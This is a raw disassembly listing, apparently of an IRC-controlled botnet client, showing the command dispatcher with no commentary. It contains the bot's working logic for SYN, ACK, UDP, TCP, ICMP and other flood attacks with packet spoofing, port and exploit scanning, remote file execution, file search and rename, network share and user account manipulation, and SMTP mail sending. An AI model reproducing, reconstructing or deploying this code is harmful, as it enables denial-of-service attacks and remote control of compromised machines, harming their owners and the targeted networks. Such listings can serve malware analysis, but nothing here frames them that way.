234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h call near ptr 2690000h nop jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j nop call near ptr 26908FFh push eax push offset dword_42AE9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE60 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE34 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE14 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADCC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADAC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD84 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD1C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 2690000h jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j call near ptr 26908FFh nop push eax push offset unk_42AB8C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2690000h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 26908FFh push eax push offset dword_42AB08 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA2C ; " " push offset dword_42B4FC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h nop call near ptr 2690000h jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 26908FFh push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h call near ptr 2690000h nop jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 26908FFh push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 2690000h jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj 